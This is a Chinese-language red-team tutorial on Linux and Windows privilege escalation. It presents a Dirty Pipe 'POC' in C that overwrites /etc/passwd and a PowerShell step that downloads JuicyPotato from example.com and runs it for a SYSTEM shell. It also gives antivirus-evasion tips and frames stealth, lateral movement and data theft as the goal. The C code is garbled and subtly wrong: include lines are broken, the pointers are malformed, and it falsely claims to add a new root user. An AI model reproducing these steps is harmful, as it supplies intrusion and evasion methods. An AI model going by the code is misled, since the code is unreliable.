0x01 权限提升到底是怎么回事?

在实际的红队行动中,权限提升(Privilege Escalation)是一个不可或缺的环节。无论是通过钓鱼邮件搞到一台普通用户权限的主机,还是通过Web注入拿到一个低权限的Shell,最终都需要通过权限提升,才能真正对目标网络造成威胁。简单来说,权限提升就是从一个低权限用户变成管理员用户,甚至是系统级别的超级用户。

为什么权限提升这么重要?举个例子,假设你通过某个Web漏洞拿到了目标服务器的www-data权限,这个权限通常非常有限,既不能访问敏感数据,也无法执行一些关键操作。此时,如果能将权限提升到root,你就能访问服务器上的所有资源,甚至进一步控制目标网络。

从技术角度看,权限提升的成因主要包括以下几种:

  1. 错误配置:这是最常见的,例如文件权限设置过宽、服务运行在高权限下等。
  2. 漏洞利用:包括提权漏洞(如CVE-2021-4034,也就是Polkit漏洞)、内核漏洞(如Dirty Pipe)等。
  3. 凭证劫持:窃取高权限用户的密码或令牌直接登录。
  4. 弱口令攻击:一些管理员用户的密码过于简单,可以通过爆破直接获得。

接下来,我会通过几个实际案例,详细拆解不同的提权方式,并给出完整的攻击步骤和代码实现。

---

0x02 环境搭建:为攻击做好准备

为了展示各种权限提升技术,我们需要搭建一个靶场环境。以下是我常用的一个基础架构,包含了多种可以练习提权的场景。

目标环境配置

  1. 物理机/虚拟机:推荐使用VirtualBox或者VMware,这样可以快速恢复快照。
  2. 操作系统
  • Ubuntu 20.04(用于练习Linux提权)
  • Windows Server 2019(用于练习Windows提权)
  1. 常见漏洞靶场
  • VulnHub:这里有许多低权限到高权限的靶场机器。
  • Hack The Box:许多权限提升挑战都非常经典。

必备工具

  • Linux环境:默认安装gcc、gdb等常见调试工具;可以使用apt install gcc gdb make进行快速安装。
  • Windows环境:需要提前上传提权工具包,比如SharpBypassUAC、JuicyPotato等。
  • 攻击机:推荐使用Kali Linux,预装了Metasploit、PowerShell Empire、BloodHound等工具。

靶场环境搭建好后,我们就可以进入实战部分了。

---

0x03 Dirty Pipe内核漏洞:从普通用户到Root

Dirty Pipe(CVE-2022-0847)是一个出现在Linux内核中的权限提升漏洞,它允许攻击者通过管道写入任意文件,即使没有写权限。这个漏洞的本质在于Linux内核管道缓冲区的处理方式存在缺陷,攻击者可以利用该漏洞修改敏感文件,比如/etc/passwd,添加一个新的root用户。

漏洞利用原理

当数据通过管道传输时,Dirty Pipe漏洞允许攻击者将恶意数据注入到缓存区中,覆盖原始文件内容。通过覆盖/etc/passwd文件,我们可以直接创建一个具有root权限的用户。

黑客示意图

POC代码

以下是Dirty Pipe漏洞的完整POC代码,用于在受影响的Linux系统中提权:

<pre><code class="language-c">#include &lt;fcntl.h&gt;

include &lt;stdio.h&gt;

include &lt;string.h&gt;

include &lt;unistd.h&gt;

include &lt;sys/stat.h&gt;

include &lt;sys/types.h&gt;

int main() { const char filename = &quot;/etc/passwd&quot;; // 要覆盖的目标文件 const char payload = &quot;root:x:0:0:root:/root:/bin/bash\n&quot;; // 新的root用户

int fd = open(filename, O_RDONLY); // 打开目标文件,只读模式 if (fd &lt; 0) { perror(&quot;open&quot;); return 1; }

struct stat st; if (fstat(fd, &amp;st) != 0) { perror(&quot;fstat&quot;); return 1; }

// 创建一个管道 int pipefd[2]; if (pipe(pipefd)) { perror(&quot;pipe&quot;); return 1; }

黑客示意图

// 写入数据到管道 const int payload_len = strlen(payload); write(pipefd[1], payload, payload_len);

// 使用Dirty Pipe漏洞覆盖原始数据 if (splice(pipefd[0], NULL, fd, NULL, payload_len, SPLICE_F_MOVE | SPLICE_F_NONBLOCK) == -1) { perror(&quot;splice&quot;); close(pipefd[0]); close(pipefd[1]); close(fd); return 1; }

黑客示意图

printf(&quot;Payload written! Check /etc/passwd to verify.\n&quot;); close(pipefd[0]); close(pipefd[1]); close(fd); return 0; }</code></pre>

使用步骤

  1. 将上述代码保存为dirty_pipe.c
  2. 在目标机上使用gcc编译:gcc dirty_pipe.c -o dirty_pipe
  3. 运行程序:./dirty_pipe
  4. 检查/etc/passwd文件,发现新增了一个root用户。

现在你可以使用su root直接切换到root权限了。

---

0x04 Windows提权:利用JuicyPotato获取SYSTEM权限

在Windows系统中,权提升的目标通常是获取SYSTEM权限。JuicyPotato是一种经典的COM劫持提权工具,通过冒充系统级服务的令牌,获取SYSTEM权限。

涉及原理

Windows的COM服务允许低权限用户通过某些特定接口请求高权限服务,JuicyPotato利用这一点,通过伪造令牌来冒充SYSTEM用户。

实战步骤

  1. 在目标Windows机器上上传JuicyPotato。
  2. 根据目标操作系统版本选择合适的CLSID(类标识符)。
  3. 执行JuicyPotato并获得SYSTEM权限。

以下是PowerShell中的攻击示例:

<pre><code class="language-powershell"># 自定义配置JuicyPotato的CLSID $CLSID = &quot;{4991d34b-80a1-4291-83b6-3328366b9097}&quot;

下载JuicyPotato

Invoke-WebRequest -Uri &quot;http://example.com/JuicyPotato.exe&quot; -OutFile &quot;C:\Temp\JuicyPotato.exe&quot;

执行提权

Start-Process &quot;C:\Temp\JuicyPotato.exe&quot; -ArgumentList &quot;/c $CLSID /t * /p c:\windows\system32\cmd.exe /s&quot;</code></pre>

执行完后,主机会弹出一个SYSTEM权限的cmd窗口。

---

0x05 绕过与免杀技巧

无论是Linux还是Windows,提权过程中都会面临各种EDR(端点检测与响应)或杀软的拦截。以下是一些实战中常用的对抗技巧:

Linux免杀

  1. 静态编译:在编译提权代码时,使用-static参数生成静态链接的二进制文件,避免动态库被检测。
  2. 文件名伪装:将提权工具重命名为常见的系统工具名称,例如lstop等。

Windows免杀

  1. PE混淆:使用工具(如Obsidian)对JuicyPotato的PE文件进行混淆。
  2. 内存加载:通过PowerShell将提权工具直接加载到内存中,避免落地文件被查杀。

---

0x06 个人经验分享

权限提升是红队行动中的核心技能之一。在多年的实战中,我发现以下几条经验非常重要:

  1. 保持低调:提权时尽量避免留下痕迹,尤其是在生产环境中,任何文件改动都可能引起警觉。
  2. 多种方案准备:一个漏洞被修复后,可能需要切换到另一种提权方式,提前准备多种工具和脚本很重要。
  3. 环境敏感:不同的目标环境适用的提权方式千差万别,提前做好信息收集是关键。

权限提升并不是终点,只是整个攻击链的一部分。掌握了提权之后,接下来就是利用高权限用户进行更广泛的横向移动和数据窃取,这才是真正的红队价值所在。

黑客示意图